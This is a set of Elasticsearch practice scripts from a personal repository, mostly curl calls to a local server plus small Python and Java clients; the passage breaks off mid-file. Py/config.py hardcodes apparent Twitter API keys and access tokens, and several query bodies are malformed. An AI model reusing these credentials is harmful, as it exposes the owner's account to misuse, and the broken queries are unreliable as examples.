"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "from config import *\nfrom es import ES\nimport pprint \n\nprt = pprint.PrettyPrinter(indent=1)\n\nes = ES().getES()\nquery = {\n\t\"query\":{\n\t\t\"match_all\":{}\n\t}\n}\n\nresponse = es.search(index = index_name, doc_type = doc_type, \n\tbody = query, size = 10, request_timeout = 10)\n\nprt.pprint(response)\n\n"
},
{
"alpha_fraction": 0.6116207838058472,
"alphanum_fraction": 0.6269113421440125,
"avg_line_length": 26.25,
"blob_id": "652ef4a3aa278d9aa87efb77953b082b0dcf943c",
"content_id": "453541a7838363d52fd316bd1d4c4a632abd209a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 327,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 12,
"path": "/DefGuide/Chapter_3/get.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\nID=1\n#get all data from elastic\n\necho \"==========All data==========\"\ncurl -XGET http://localhost:${PORT}/vietname/peoples/_search?pretty\necho \n#get a people data based on their id \necho \"==========get people data by id = ${ID}==========\"\ncurl -XGET http://localhost:${PORT}/vietname/peoples/${ID}?pretty\n"
},
{
"alpha_fraction": 0.6696035265922546,
"alphanum_fraction": 0.700440526008606,
"avg_line_length": 21.700000762939453,
"blob_id": "694b70b8518ccad7f9dbbb32e9c8abee26934889",
"content_id": "9f6a4cd7f7c9471b7bf387972980bd10d394f603",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 227,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 10,
"path": "/DefGuide/Chapter_5/pagination.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\n\n\necho \"get data with size\"\ncurl -XGET http://localhost:${PORT}/_search?size=5\n\necho \"get data from .. to ( from start position to position+size\"\ncurl -XGET http://localhost:${PORT}/_search?size=2&from=4\n"
},
{
"alpha_fraction": 0.5082508325576782,
"alphanum_fraction": 0.5346534848213196,
"avg_line_length": 15.378377914428711,
"blob_id": "d8de431a2cd565c2c6bdfe919733fe0b064ce787",
"content_id": "bf9b30c0c5ac5a02a1722d3159c84bb80e5533bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 606,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 37,
"path": "/DefGuide/Chapter_3/get_multi_document.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\nID=1\necho \"==========get multi documents==========\"\ncurl -XGET http://localhost:${PORT}/_mget/?pretty -d '{\n\t\"docs\" : [\n\t{\n\t\t\"_index\" : \"vietname\",\n\t\t\"_type\" : \"peoples\",\n\t\t\"_id\" : 111\n\t},\n\t{\n\t\t\"_index\" : \"website\",\n\t\t\"_type\" : \"blog\",\n\t\t\"_id\" : 1,\n\t\t\"_source\": \"views\"\n\t}\n\t]\n}'\n\necho \"get multi document at the same type\"\ncurl -XGET http://localhost:${PORT}/vietname/_mget/?pretty -d '{\n\t\"docs\" : [{\n\t\t\"_id\":1\n\t},\n\t{\n\t\t\"_id\":2,\n\t\t\"type\":\"pet\"\n\t}\n\t]\n}'\n\necho \"get multi document by list ids\"\ncurl -XGET http://localhost:${PORT}/vietname/peoples/_mget/?pretty -d '{\n\tids:[111,2,3]\n}'\n"
},
{
"alpha_fraction": 0.6666666865348816,
"alphanum_fraction": 0.6939203143119812,
"avg_line_length": 34.33333206176758,
"blob_id": "fe46e01c2f1b272c71121d48baccb18f41a28a6e",
"content_id": "60fdcc86596a153352242a14c48309c60c6fc4a6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 954,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 27,
"path": "/Java/ES/src/main/java/com/example/es/Index.java",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "package com.example.es;\n\nimport com.google.common.collect.Maps;\nimport org.elasticsearch.action.index.IndexResponse;\nimport org.elasticsearch.client.Client;\nimport org.elasticsearch.common.logging.ESLogger;\nimport org.elasticsearch.common.logging.ESLoggerFactory;\n\nimport java.util.Map;\nimport java.util.logging.Logger;\n\n/**\n * Created by cqshinn on 28/02/2016.\n */\npublic class Index {\n private static Logger log = Logger.getLogger(Index.class.getName());\n public static void main(String[] args){\n Client es = ES.getES();\n Map<String,\tObject> document1= Maps.newConcurrentMap();\n document1.put(\"screen_name\",\t\"d_bharvi\");\n document1.put(\"followers_count\",\t2000);\n document1.put(\"create_at\",\t\"2015-09-20\");\n IndexResponse response = es.prepareIndex().setIndex(\"index_name\").setType(\"doc_type\")\n .setId(\"1\").setSource(document1).execute().actionGet();\n log.info(\"Create new\");\n }\n}\n"
},
{
"alpha_fraction": 0.6074380278587341,
"alphanum_fraction": 0.6363636255264282,
"avg_line_length": 17.615385055541992,
"blob_id": "06e866c9e04df6300093d0534c194826fffa10d9",
"content_id": "2c19666c82e97c39ce70b8aedfd2e765463e9e7a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 242,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 13,
"path": "/DefGuide/Chapter_10/index_settings.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "\n#!/bin/bash\n\nPORT=9200\ncurl -XPUT http://localhost:${PORT}/my_temp_index -d '{\n\t\"settings\":{\n\t\t\"number_of_shards\":1,\n\t\t\"number_of_replicas\":0\n\t}\n}'\n\ncurl -XPUT http://localhost:${PORT}/my_temp_index/_settings -d '{\n\t\"number_of_replicas\":1\n}'"
},
{
"alpha_fraction": 0.7183098793029785,
"alphanum_fraction": 0.7464788556098938,
"avg_line_length": 27.600000381469727,
"blob_id": "833c0b8f48a3060cddb630f8881f1138ee800489",
"content_id": "120a1787e6bbefc672ffbe3aafeb502236c72a33",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 142,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 5,
"path": "/DefGuide/Chapter_6/fulltext_analyze.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\n\necho \"simple full text search us analyzer\"\nGET http://localhost:${PORT}/_analyze?analyzer=standard -d 'Text to analyze'"
},
{
"alpha_fraction": 0.5002776384353638,
"alphanum_fraction": 0.5285952091217041,
"avg_line_length": 15.513761520385742,
"blob_id": "c0cebf9c12cfdd1d5173ef14ca86dd37d83f40f9",
"content_id": "30195adcea62208cb06dc331ab20cabb6f140e3b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1801,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 109,
"path": "/Bash/SimpleDSL",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\n#query\n\n# curl -XGET http://localhost:9200/index_name/_search -d '{\n# \t\t\"query\":\t{},\n# \t\t\"from\":\t0,\n# \t\t\"size\":\t20,\n# \t\t\"_source\":\t[\"field1\",\"field2\"]\n# }'\n\n# curl -XGET localhost:9200/index_name/doc_type/_search -d '{\n# \t\"query\":{\n# \t\t\"query_string\":{\n# \t\t\t\"default_field\":\"category\",\n# \t\t\t\"query\":\"search\"\n# \t\t}\n# \t}\n# }' | python -m json.tool\n# \n#query with match all\n\n# curl -XGET localhost:9200/index_name/_search -d '{\n# \t\"query\":{\n# \t\t\"match_all\":{}\n# \t}\n# }' | python -m json.tool\n# \n#query with match\n\n# curl -XGET localhost:9200/_search -d '{\n# \t\"query\":{\n# \t\t\"match\":{\n# \t\t\t\"text\":\"hello\",\n# \t\t\t\"operator\":\"and\",\n# \t\t\t\"type\":\"phrase\"\n# \t\t}\n# \t}\n# }' | python -m json.tool #\"ope\"\n\n#query with multi match\n# curl -XGET localhost:9200/_search -d '{\n# \t\"query\":{\n# \t\t\"multi_match\":{\n# \t\t\t\"query\":\"hello\",\n# \t\t\t\"fields\": [\"text\", \"doc\"]\n# \t\t}\n# \t}\n# }' | python -m json.tool\n\n# #query with query string'\n# curl -XGET localhost:9200/_search -d '{\n# \t\"query\":{\n# \t\t\"query_string\":{\n# \t\t\t\"default_field\":\"text\",\n# \t\t\t\"query\":\"text:hello +text:data -user.name:d_bharvi1\"\n# \t\t}\n# \t}\n# }' | python -m json.tool\n\n\n#Term query\n\n# curl -XGET localhost:9200/_search -d '{\n# \t\"query\":{\n# \t\t\"term\":{\n# \t\t\t\"text\":\"hello\"\n# \t\t}\n# \t}\n# }' | python -m json.tool \n# \n#Range query\n\n# curl -XGET localhost:9200/_search -d '{\n# \t\"query\":{\n# \t\t\"range\":{\n# \t\t\t\"num\":{\n# \t\t\t\t\"gte\":10,\n# \t\t\t\t\"lte\":100\n# \t\t\t}\n# \t\t}\n# \t}\n# }' | python -m json.tool\n#\n\n#Exists query\n\ncurl -XGET localhost:9200/_search -d '{\n\t\"query\":{\n\t\t\"constant_score\":{\n\t\t\t\"filter\":{\n\t\t\t\t\"exists\":{\"field\":\"in_reply_to_user_id\"}\n\t\t\t}\n\t\t}\n\t}\n}' | python -m json.tool\n\n#With Missing\n\n\ncurl -XGET localhost:9200/_search -d '{\n\t\"query\":{\n\t\t\"constant_score\":{\n\t\t\t\"filter\":{\n\t\t\t\t\"missing\":{\"field\":\"doc\"}\n\t\t\t}\n\t\t}\n\t}\n}' | python -m json.tool "
},
{
"alpha_fraction": 0.6814159154891968,
"alphanum_fraction": 0.7168141603469849,
"avg_line_length": 15.285714149475098,
"blob_id": "024d6cdc7430cf031d60c96ea13d8995e4646783",
"content_id": "3f689a91b4aef1eb4ff21c08caac8d0c0d0695d4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 113,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 7,
"path": "/DefGuide/Chapter_2/get_status_cluster.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\n\n\necho \"get status of cluster\"\ncurl -XGET http://localhost:${PORT}/_cluster/health/?pretty"
},
{
"alpha_fraction": 0.6268656849861145,
"alphanum_fraction": 0.6865671873092651,
"avg_line_length": 12.600000381469727,
"blob_id": "34d5f5021d41424213285e5a721a29abb1915514",
"content_id": "53ac03693dbadebaca471340c3fa947ab1a71cd8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 67,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 5,
"path": "/DefGuide/template.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\n\ncurl -XGET http://localhost:${PORT}/?pretty"
},
{
"alpha_fraction": 0.699999988079071,
"alphanum_fraction": 0.7307692170143127,
"avg_line_length": 30.75,
"blob_id": "df6a242b16c7810aad00c8fc786c6e8f7ce54756",
"content_id": "f8b551743876cae18567754dd5032b298d8d6643",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 130,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 4,
"path": "/DefGuide/Chapter_9/search_type.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\necho \"get infomation use type from search\"\ncurl -XGET http://localhost:${PORT}/_search?search_type=count\n\n\n\n"
},
{
"alpha_fraction": 0.545592725276947,
"alphanum_fraction": 0.5607903003692627,
"avg_line_length": 18.382352828979492,
"blob_id": "44c9c4271277f6b11d74f8e5adca190f043050b6",
"content_id": "56cc658671191c1531a84c7c8bec4ca9b1be7b25",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 658,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 34,
"path": "/DefGuide/Chapter_3/update.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\nID=1\n\n#update document from elastic\n# echo \"==========update document==========\" \n# curl -XPUT http://localhost:${PORT}/vietname/peoples/${ID} -d '{\n# \t\"name\":\"cqshinn\",\n# \t\"age\":\"23\",\n# \t\"skill\":[\"Python\"]\n# }\n# '\n# echo \n# echo \"==========get document after update==========\" \n# curl -XGET http://localhost:${PORT}/vietname/peoples/${ID}\n\necho\ncurl -XPOST http://localhost:${PORT}/vietname/peoples/${ID}/_update -d '\n{\n\t\"code\" : {\n\t\t\"tags\" : [ \"testing\" ],\n\t\t\"views\": 0\n\t}\n}'\necho\ncurl -XPOST http://localhost:${PORT}/vietname/peoples/${ID}/_update?retry_on_conflict=5 -d '\n{\n\t\"code\" : {\n\t\t\"tags\" : [ \"testing\" ],\n\t\t\"views\": 1\n\t}\n}\n'"
},
{
"alpha_fraction": 0.38447654247283936,
"alphanum_fraction": 0.4277978241443634,
"avg_line_length": 15.323529243469238,
"blob_id": "b15eec27dfb6f4b19885effdce805e0b6b8494b8",
"content_id": "e0769abb4c4f2a3107f62d513c513f2772f541bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 554,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 34,
"path": "/Bash/CompoundDSL",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\n#Bool query\n\n\n# curl -XGET http://localhost:9200/_search -d '{\n# \t\t\"query\":{\n# \t\t\"bool\":{\n# \t\t\t\t\"must\":[{}],\n# \t\t\t\t\"should\":[\n# \t\t\t\t\t{\"term\":{\"text\":{\"value\":\"turmoil\"}}},\n# \t\t\t\t\t{\"term\":{\"text\":{\"value\":\"riot\"}}}\n# \t\t\t\t],\n# \t\t\t\t\"must_not\":[{}]\n# \t\t\t\t\"filter\":[{}]\n# \t\t\t\t}\n# \t\t}\n# }' | python -m json.tool\n\n#Not query\n\ncurl -XGET http://localhost:9200/_search -d '{\n\t\t\"filter\":{\n\t\t\"not\":{\n\t\t\t\t\"filter\":{\n\t\t\t\t\t\"range\":{\n\t\t\t\t\t\t\"create_at\":{\n\t\t\t\t\t\t\t\"from\":\"2015-01-01\",\n\t\t\t\t\t\t\t\"to\":\"2016-01-01\"\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}\n}' | python -m json.tool"
},
{
"alpha_fraction": 0.5981941223144531,
"alphanum_fraction": 0.6207674741744995,
"avg_line_length": 26.75,
"blob_id": "03121ba2911f03623e0faa85f878c19a11b8ec6e",
"content_id": "a27da3a7381119fa2a8c6e58a2b1303b2f4cd58b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 443,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 16,
"path": "/Py/update.py",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "from es import ES\nfrom config import *\n\n\nes = ES().getES()\n\nif es.indices.exists(index = index_name):\n\tscript = {\n\t\t'script': 'ctx._source.category=\\\"Programming\\\"'\n\t}\n\tes.update(index = index_name, doc_type = doc_type, body = script, id = '123', ignore = 404)\n\t# script\t= {\"script\"\t:\"ctx._source.category+=tag\",\n\t# \t\"params\":{\n\t# \t\"tag\": \"Python\"\n\t# }\n\t# es.update(index = index_name, doc_type = doc_type, body = script, id = '1', ignore=404)"
},
{
"alpha_fraction": 0.5342105031013489,
"alphanum_fraction": 0.5403508543968201,
"avg_line_length": 16.014925003051758,
"blob_id": "e59ad1a9fd3f7dfb716d523fb665c958bc4b756b",
"content_id": "98bbd09d708f7c275903dd9555bccedb1a534b16",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1140,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 67,
"path": "/DefGuide/Chapter_7/full_search_with_DSL.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\n\necho \"simple search\"\nGET http://localhost:${PORT}/_search -d '{}'\n\necho \"simple search with indices and types\"\ncurl -XGET http://localhost:${PORT}/gb,us/_search -d '{\n\t\"from\":2,\n\t\"size\":3\n}'\n\necho \"simple search with DSL\"\ncurl -XGET http://localhost:${PORT}/_search -d '{\n\t\"query\": {\n\t\t\"match_all\": {}\n\t}\n}'\n\necho \"simple search tweet have elasticsearch string with DSL \"\ncurl -XGET http://localhost:${PORT}/_search?pretty -d '{\n\t\"query\": {\n\t\t\"match\":{\n\t\t\t\"tweet\": \"elasticsearch\"\n\t\t}\n\t}\n}'\n\necho \"compound search\"\ncurl -XGET http://localhost:${PORT}/_search/?pretty -d '{\n\t\"query\":{\n\t\t\"bool\": {\n\t\t\t\"must\":{ \"match\": { \"tweet\": \"elasticsearch\" }},\n\t\t\t\"must_not\": { \"match\": { \"name\": \"mary\" }},\n\t\t\t\"should\":{ \"match\": { \"tweet\": \"full text\" }}\n\t\t}\n\t}\n}\n'\n\necho \"compound search with compound\"\ncurl -XGET http://localhost:${PORT}/_search/?pretty -d '{\n\t\"query\":{\n\t\t\"bool\":{\n\t\t\t\"must\":{\n\t\t\t\t\"match\":{\n\t\t\t\t\t\"email\":\"bussiness\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"should\":[\n\t\t\t{\n\t\t\t\t{\n\t\t\t\t\t\"match\":{\n\t\t\t\t\t\t\"started\":true\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{ \n\t\t\t\t\"bool\": {\n\t\t\t\t\t\"must\":\n\t\t\t\t\t\"must_not\":\n\t\t\t\t}\n\t\t\t}\n\t\t\t],\n\t\t\t\"minimum_should_match\":1\n\t\t}\n\t}\n}'\n"
},
{
"alpha_fraction": 0.5346153974533081,
"alphanum_fraction": 0.550000011920929,
"avg_line_length": 15.3125,
"blob_id": "6b8b06283984415600aa633bda137fc71d4ea910",
"content_id": "f8d390f56177b7e96aeb848103500cf7fb28a043",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 260,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 16,
"path": "/DefGuide/Chapter_7/filtered.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\n\necho \"simple compound query and filter by filterd\"\ncurl -XGET http://localhost:${PORT}/_search/?pretty -d '{\n\t\"query\":{\n\t\t\"filtered\":{\n\t\t\t\"query\":{\n\t\t\t\t\"match\":{\"name\":\"john\"}\n\t\t\t},\n\t\t\t\"filter\":{\n\t\t\t\t\"term\":{\"name\":\"Mary\"}\n\t\t\t}\n\t\t}\n\t}\n}'"
},
{
"alpha_fraction": 0.6576576828956604,
"alphanum_fraction": 0.7117117047309875,
"avg_line_length": 14.857142448425293,
"blob_id": "bd3e33ba9560be883f2a8d202b8a3e3eec9a946c",
"content_id": "a6a8b3331c3e507bd32aecd880f16cdc44bc4f73",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 111,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 7,
"path": "/DefGuide/Chapter_5/timeout.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\n\n\necho \"get data with timeout\"\ncurl -XGET http://localhost:${PORT}/_search?timeout=10ms\n"
},
{
"alpha_fraction": 0.599056601524353,
"alphanum_fraction": 0.6132075190544128,
"avg_line_length": 27.33333396911621,
"blob_id": "4e64c8084a235ebd9f7be0b84e5b1ab102c11622",
"content_id": "edd389cdbcf56cfb6f22bfd367ed0bf71e7f9275",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 424,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 15,
"path": "/DefGuide/Chapter_3/version.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\nID=1\n\necho \"==========get version document==========\"\ncurl -XGET http://localhost:${PORT}/vietname/peoples/${ID}?pretty\n\necho \"==========update version document==========\"\ncurl -XPUT http://localhost:${PORT}/vietname/peoples/${ID}?version=1 -d '{\n\t\"title\": \"super child\"\n}'\n\necho \"==========get version document after update==========\"\ncurl -XGET http://localhost:${PORT}/vietname/peoples/${ID}?pretty"
},
{
"alpha_fraction": 0.508905827999115,
"alphanum_fraction": 0.5203562378883362,
"avg_line_length": 15.744680404663086,
"blob_id": "126719b7d437759531977f934a3f57a2ab29d446",
"content_id": "ef8e09a3ccee850b94ae3b116c0e73037f949336",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 786,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 47,
"path": "/DefGuide/Chapter_8/sort.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\necho \"get infomation and sort\"\ncurl -XGET http://localhost:${PORT}/_search/?pretty -d '{\n\t\"query\":{\n\t\t\"filtered\":{\n\t\t\t\"filter\":{\n\t\t\t\t\"term\":{\n\t\t\t\t\t\"user_id\":1\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\t\"sort\":{\n\t\t\"date\":{\n\t\t\t\"order\":\"desc\"\n\t\t}\n\t}\n}'\n\necho \"simple multi level sort\"\ncurl -XGET http://localhost:${PORT}/_search/?pretty -d '{\n\t\"query\":{\n\t\t\"filtered\":{\n\t\t\t\"query\":{\"match\":{\"tweet\":\"manage text search\"}},\n\t\t\t\"filter\":{\"term\":{\"user_id\":1}}\n\t\t}\n\t},\n\t\"sort\":[\n\t{\"date\":{\"order\":\"asc\",\"mode\":\"min\"}},\n\t{\"_score\":{\"order\":\"desc\"}}\n\t]\n}'\n\necho \"explain with yaml\"\n\ncurl -XGET http://localhost:${PORT}/us/tweet/12/_explain?format=yaml -d '\n{\n\t\"query\" : {\n\t\t\"filtered\" : {\n\t\t\t\"filter\" : { \"term\" : { \"user_id\" : 2\n\t\t}},\n\t\t\"query\" : { \"match\" : { \"tweet\" :\n\t\t\"honeymoon\" }}\n\t}\n}\n}'"
},
{
"alpha_fraction": 0.5850340127944946,
"alphanum_fraction": 0.5904762148857117,
"avg_line_length": 15.355555534362793,
"blob_id": "d0a88e8885654870f8b40e97b2251b06502ad066",
"content_id": "b26e36578ac21206fc6b1233f5c492a46fb6945a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 735,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 45,
"path": "/Py/config.py",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#twitter\n\nconsumer_key = \"S0OfgfzrMvXgTellIcpeI6Jsf\"\nconsumer_secret = \"6uxSl1Cw4gpxFKbsFcJUO9XSNZ5K3ostqbOfDPHPED5ihLNL0m\"\naccess_token = \"1679287802-uyd6plg2p0as1bld70CFq4Dards4JS7U1Xx73vB\"\naccess_token_secret = \"Rv1xHzwcs0ZUtuZxVTxaEEIGKnHvazWZWklMM7Z1UoQWl\"\n\n#settings of elasticsearch\nindex_setting = {\n\t\"number_of_shards\": 1,\n\t\"number_of_replicas\": 1,\n\t\"index\": {\n\t\t\"analysis\": {\n\t\t\t\"analyzer\": {\n\t\t\t\t\"keyword_analyzer\": {\n\t\t\t\t\t\"type\":\"custom\",\n\t\t\t\t\t\"filter\": [ \"lowercase\", \"asciifolding\"],\n\t\t\t\t\t\"tokenizer\": \"keyword\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\ndoc_mapping = {\n\t\"_all\": {\n\t\t\"enabled\": False\n\t},\n\t\"properties\": {\n\t\t\"skill\": {\n\t\t\t\"type\": \"string\",\n\t\t\t\"index\": \"analyzed\",\n\t\t\t\"analyzer\": \"standart\"\n\t\t}\n\t}\n}\n\nindex_name = \"books\"\ndoc_type = \"search\"\nbody = {}\nmapping = {}\nmapping[doc_type] = doc_mapping\nbody['settings'] = index_setting\nbody['mappings'] = \tmapping"
},
{
"alpha_fraction": 0.7042253613471985,
"alphanum_fraction": 0.7136150002479553,
"avg_line_length": 24.117647171020508,
"blob_id": "a681dee76cd00609238c772f49fbc55c95f401e6",
"content_id": "fe93e5c9b070dff1156bb62aa54871472e217028",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 426,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 17,
"path": "/DefGuide/Chapter_5/multi_index.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\n\n\necho \"get data with gb indeces extract\"\ncurl -XGET http://localhost:${PORT}/gb/_search/?pretty\n\necho \"get data with us indeces extract\"\ncurl -XGET http://localhost:${PORT}/us/_search/?pretty\n\n\necho \"get data with us and gb indeces extract\"\ncurl -XGET http://localhost:${PORT}/us,gb/_search/?pretty\n\necho \"get data with indeces start by g or u\"\ncurl -XGET http://localhost:${PORT}/[ug]*/_search/?pretty"
},
{
"alpha_fraction": 0.6000000238418579,
"alphanum_fraction": 0.6305084824562073,
"avg_line_length": 25.81818199157715,
"blob_id": "00c012d64a305012b8761dfc28d439636ebf5bda",
"content_id": "6b4d5f37c954f90a384ee31739a1dfe370120729",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 295,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 11,
"path": "/DefGuide/Chapter_3/head.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\nID=1\n#get all data from elastic\n\necho \"==========check if document exists==========\"\ncurl -i -XHEAD http://localhost:${PORT}/vietname/peoples/${ID}\n\necho echo \"==========check if document not exists==========\"\ncurl -i -XHEAD http://localhost:${PORT}/vietname/peoples/9999\n"
},
{
"alpha_fraction": 0.577235758304596,
"alphanum_fraction": 0.5826558470726013,
"avg_line_length": 18.447368621826172,
"blob_id": "cbd84de5dc4aaf5e173d0bee3e78745a285a1412",
"content_id": "4a06d5cfb27be63143363c1cf37b2c2322de9c2a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 738,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 38,
"path": "/DefGuide/Chapter_6/mapping.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "PORT=9200\n\n\necho \"visible information indices,types and documents by mapping\"\ncurl -XGET http://localhost:${PORT}/gb/_mapping/tweet/?pretty\n\necho \"change attr of index\"\ncurl -XPUT http://localhost:${PORT}/gc -d '\n{\n\t\"mappings\": {\n\t\t\"tweet\" : {\n\t\t\t\"properties\" : {\n\t\t\t\t\"tweet\" : {\n\t\t\t\t\t\"type\" :\"string\",\n\t\t\t\t\t\"analyzer\": \"english\"\n\t\t\t\t},\n\t\t\t\t\"date\" : {\n\t\t\t\t\t\"type\" : \"date\"\n\t\t\t\t},\n\t\t\t\t\"name\" : {\n\t\t\t\t\t\"type\" : \"string\"\n\t\t\t\t},\n\t\t\t\t\"user_id\" : {\n\t\t\t\t\t\"type\" : \"long\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n'\n\necho \"visible\"\ncurl -XGET http://localhost:${PORT}/gc/_mapping/tweet/?pretty\n\necho \"analyzer gc\"\ncurl -XGET http://localhost:${PORT}/gc/_analyze?field=tweet -d \"Black-cats\"\necho\ncurl -XGET http://localhost:${PORT}/gc/_analyze?field=tag -d \"Black-cats\""
},
{
"alpha_fraction": 0.524163544178009,
"alphanum_fraction": 0.5390334725379944,
"avg_line_length": 17.79069709777832,
"blob_id": "da626fcf2796ccdde6a207b0f94855cb33d3da06",
"content_id": "0fb9a627b22d32f2f78cac5b07ed03f2735b5e13",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 807,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 43,
"path": "/DefGuide/Chapter_7/query.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\n\necho \"simple math_all query\"\ncurl -XGET http://localhost:${PORT}/gb,us/_search -d '{\n\t\"query\":{\n\t\t\"match_all\":{}\n\t}\n}'\n\necho \"simple match query\"\ncurl -XGET http://localhost:${PORT}/_search -d '{\n\t\"query\": {\n\t\t\"match\":{\n\t\t\t\"tweet\": \"been to\"\n\t\t}\n\t}\n}'\n\necho \"simple multi match query\"\ncurl -XGET http://localhost:${PORT}/_search?pretty -d '{\n\t\"query\": {\n\t\t\"multi_match\": {\n\t\t\t\"query\":\"full text search\",\n\t\t\t\"fields\":[ \"name\", \"body\" ]\n\t\t}\n\t}\n}'\n\necho \"user bool match query\"\n\ncurl -XGET http://localhost:${PORT}/_search?pretty -d '{\n\t\"query\":{\n\t\t\"bool\": {\n\t\t\t\"must\": { \"match\": { \"title\":\"hello\"}},\n\t\t\t\"must_not\": { \"match\": { \"tag\":\"how to make millions\" }},\n\t\t\t\"should\": [\n\t\t\t{ \"match\": { \"tag\": {\"starred\":\"spam\" }}},\n\t\t\t{ \"range\": { \"date\": { 